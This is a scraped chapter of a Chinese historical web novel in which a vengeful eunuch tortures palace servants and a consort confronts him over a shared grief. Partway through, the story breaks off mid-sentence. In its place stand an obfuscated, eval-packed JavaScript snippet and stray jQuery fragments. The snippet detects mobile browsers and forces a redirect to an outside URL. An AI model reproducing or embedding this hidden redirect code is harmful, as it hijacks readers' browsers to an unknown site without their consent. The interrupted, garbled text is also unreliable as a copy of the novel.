默认冷灰
24号文字
方正启体

11. 酷吏

作者:夏寄锦书本书字数:K更新时间:
    “哎,姑娘——”魏逢春咬着饼,背起行囊跌跌撞撞地追了上去,“姑娘这是乱葬岗,里面脏的很,你,你别进去——”


    小姑娘停下来,叉腰看着魏逢春,破布阑珊的穷酸秀才,浑身乱糟糟脏兮兮的模样躺在乱葬岗旁,还嫌里面脏?


    对上小姑娘那双杏眼,魏逢春感觉脸颊想被人打了般火辣辣的,饥饿过度的身体更是支撑不住,腿一软跪倒在小姑娘面前。


    小姑娘噗嗤一声笑了出来:“你这小秀才还怪有意思的,行了,本姑娘不用你报恩,起来吧。”


    “姑娘救命之恩,小生无以为报—”


    “怎么了,你要一身相许?”小姑娘打断了他的话,揪起烧饼塞进他嘴里:“本姑娘呢不用你报恩,你呢,四肢健全,还是个男子,吃了这个饼,去找个营生好好活着,落地而已,活着才是天大的事。”


    女孩明亮的眼睛如满天寒星,照亮了自己黯淡的理想,他曾以为她是上天派来拯救自己的神女,直到后来,她仍是这身青衫,敲响了登闻鼓,质问天道为何不公,他才知她是落霞楼的姑娘——青棠。


    三年后,他秋闱中举,八抬大轿迎迎娶她,红鸾帐里,她问他:“你不介意我出身青楼吗?


    他答:“荆岫之玉必含纤瑕,骊龙之珠亦有微纇①,姑娘如玉,小生必将视若珍宝。”


    可是转眼她却一尸两命,死在了一个在寻常不过夜里,王侯将相的故事里,平民是无足轻重的棋子,所谓功名不过一卷黄纸,我的仇只有这一条路。


    报君黄金台上意,提携玉龙为君死②。


    “青棠!”浓烈的血腥味几乎要将她淹没,虞归晚猛地惊醒,浑身早已被汗水浸湿。


    “青棠,别走。”眼前熟悉的面容渐渐消散,她伸手想要去够,却跌落在地,疼痛感催的她终于寻回了几分意识,她猛然发觉千秋殿静的出奇。


    她下意识地环顾四周,月光如水,给寝殿蒙上了一层薄纱,西侧的博古架上错落摆放着各式古董花瓶,月光下更添精致,墙角的刻漏如碎银般闪烁,东侧的云锦屏风花团锦簇,富贵逼人,再其后便是正殿了,一切如旧,可是人呢?


    这一切都是是梦吗?


    虞归晚迟疑地起身,推门走了出去,夜风带着湿冷,吹得她打了个寒颤,她漫步在空无一人的宫殿内,心绪越来越紧张,或许......一个足以令她激动到浑身颤抖的念头油然而生,她不敢去深究,像是怕惊醒了天上人,再次将自己打入暗无天日的牢笼,她屏住呼吸,放缓了脚步,向宫门口挪动,却在接近宫门时,骤然撞上了一双足以令她毛骨悚然的眼睛。


    他仿佛自地狱而来,带着令人胆寒的戾气,眼前是四个太监,他们正被一根极细的丝线绑着,挂在房梁上,这丝线一头绑着双手的拇指,一头挂在梁上,若非月色亮如白昼,虞归晚甚至看不见那根线,他们似乎已经挂了许久,满头大汗,脸色紫青,姿态扭曲,嘴被塞着,难怪没有一点声音。


    “魏景迟?”虞归晚愣在原地,感觉一阵天旋地转。


    魏逢春也看到了虞归晚,他抬手,四人便被放了下来。


    他们匍匐在地,浑身痉挛。


    “去伺候娘娘吧。”他下巴一扬,早已吓得魂不附体的明夏与素秋二人如蒙大赦,飞一般冲了出来,爬在栏杆上呕吐不止。


    夜静的出奇,千秋殿宫门紧闭,四下鸦雀无声,宫人们低着头,井然有序地忙着自己的活计,魏逢春脊背挺的笔直,跪在正殿里一言不发。


    虞归晚面色阴沉,手指颤抖地指着地上的没事人一样的魏逢春,气的说不出话来。


    “娘娘息怒。”许有诚是个聪明人,今日廷杖魏逢春并未伤及筋骨,本来敷了药,修养几日便好了,他却强撑着身体,管教起了宫人,虞归晚又急又气,指着他道:“息怒?”


    “我倒是想息怒,可是你呢,你在干什么?你不仅滥施酷刑,还让合宫都去观刑,说话呀,我问你想干什么?”


    “杀鸡儆猴。”魏逢春回答地干脆利落。


    “杀鸡儆猴?这叫杀鸡儆猴?”虞归晚被气得额头青筋暴起。


    她抄起一旁的书狠狠砸在魏逢春面前,“他们四个手都废了,你那是残害生民,是—草菅人命!”


    魏逢春到底有伤在身,被书一砸,便吃痛地跌倒在地,虞归晚慌了神,忙蹲下焦急道:“你没事吧。”


    魏逢春瞥了眼翻开的书页,《酷吏列传》,他轻笑一声,撑着地一言不发地跪正了身子道:“娘娘要责罚,奴才悉听尊便!”


    “你—”虞归晚被气的说不出话来,她指着魏逢春清瘦的侧脸,咬着后槽牙,艰难的蹦出几个字道:“你并非暴唳之人,为何?”


    “娘娘仁善可是这里是后宫,”魏逢春依旧低着头,语调还是同样地坚决,“今日你的行踪究竟是谁泄露的,这千秋殿究究竟还有多少双眼睛盯着,娘娘您难道不怕吗?”


    “我就是要让他们知道,进了着千秋殿的门,不管他是谁的人,背后有谁,能决定他们生死荣辱的只有你。”


    “你!”虞归晚急火攻心,一把推翻了面前茶具,碎瓷滚落一地,她伏着高几剧烈地咳嗽了起来,她怎么也不会想到,自己在暗无天日的地牢了关了将近三百天,见的第一个人竟是这个本该金榜题名的魏逢春,他是建昭九年的举人,次年殿试,即使先帝驾崩,新帝登基也不会更改的祖制,可是他究竟为何变成了这般模样?


    魏逢春却幽幽道:“娘娘放心,千秋殿自有千秋殿的规矩,今日起千秋殿漏不出任何不该有的声音。”


    “宫里严禁私刑!”


    “况且,法令者治之具,而非制治清浊之源,法令滋章,盗贼多有③,你是建昭九年的举人,天子门生,你不懂吗!”


    “奴才是个太监。”魏逢春语调平静。


    虞归晚感觉一阵天旋地转,扶着桌沿才勉强站定,她指着魏逢春,胸口剧烈起伏,许久才难以置信道:“景迟—你怎么变成了这样?”


    “怎么变成了这样?”魏逢春笑出了声,“你口口声声说青棠是你的妹妹,她为了血竭而亡,一尸两命,你呢,你在做什么?为了一个男人,你耗了整整一年,你有什么资格问我为什么变成这样?那是我的妻儿!”


    “对不起,对不起,”魏逢春的话仿佛一柄利刃剖开了二人遮掩许久的伤痕,猩红的血肆无忌惮的流窜,疼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14962096|161093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的虞归晚浑身发抖,她跪在他面前,一声声说着对不起。


    魏逢春却毫不领情,只冷眼看着她道:“您该说对不起的是青棠。”


    “我知道!”虞归晚止住了眼泪,浑身还是止不住的打颤。


    千秋殿里死一般寂静。


    “咳咳—”魏逢春终于支撑不住,咳嗽了起来。


    虞归晚掀眸看向魏逢春,只见他脸色苍白,额头上冷汗密布,她终是不忍,吩咐道:“回去养伤吧,这一个月不用过来伺候了,千秋殿的事—交给明夏。”


    “等下,”虞归晚喊住他道:“去给今晚受刑的四人每人一百两银子,以后安排他们做些轻松的活,其他人,每人十两银子,从此以后你不许再滥用私刑!”


    魏逢春并未言语,而是转头问道:“娘娘是有什么话想问陛下吧。”


    他仿佛看透一切又冷漠疏离的眸子看的虞归晚心头发酸,她深吸一口气,强压下眼泪,试探性的问道:“你还想信我吗?”


    魏逢春冷笑出声,看着虞归晚的目光极尽戏谑。


    “昭阳长公主于我知遇之恩,救命之情,我只是想知道她的下落。”她的语气近乎恳求。


    魏逢春几乎是咬着牙冷声重复道:“她—死—了—。”


    虞归晚一愣也跟着笑出了声,她上前一步,直勾勾盯着魏逢春琥珀色的眸子,一字字顿道:“三年,给我三年的时间,我一定让你手刃血仇。”


    魏逢春敛了笑意,淡漠的眸子似有凶凶烈火般燃烧,似是激动,半边脸微不可察的抽动。


    “但是,我有一个条件—”


    “姐姐,是我一个人的仇吗—”他的语调拉的极长,半是嘲弄半是调侃。


    虞归晚许久没听到他喊自己姐姐,心猛地一颤,却被他紧随其后的话打入万丈寒潭,冰冷刺骨,她自嘲的耸耸肩,走到书案前,用食指蘸墨快速在纸上写下几个字,递给魏逢春。


    “查下这两样东西如今在京城的售价,除此之外,我还需要几条会说话的喉舌,几个会做事是能吏,以及帮我查查她的下落。”


    如今内宦宫女颇多,是以一部分太监只有当值是在宫中,其余时候便住在宫外,这些人就成了宫内外传递消息通道,魏逢春也不例外,他的宅子就在商肆遍布的池北路。


    魏逢春接过纸条:“兜罗绒,西洋布?”


    虞归晚点点头,祖制庶民不得用锦绣绫罗一类布料,可是普通的绸纱又入不了商贾富户的眼,而琉球、日本、荷兰等地进贡的名贵布料便成了这类需要标榜身份,又不敢僭越的商贾的最爱,只是贡品本就难得,一般用作陛下赏赐,是以很是稀有,也价值不菲。


    “过不了多久,就该用到了。”


    魏逢春颌首,转身退了出去,寝殿门开了又关,有冷风吹来,吹的虞归晚打了个寒颤,寒意不经意间顺着骨头缝爬满全身,她知道要变天了,自己该病了。


    可是眼下还不是休息的时候。


    夜风不知何时而起,吹的树梢沙沙作响,烛火摇曳着映出一个焦急的身影,明夏低着头推门走了西耳房,素秋忙迎了上去,握着她的手满脸惊恐地压低了声音道:“他叫你去干嘛?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)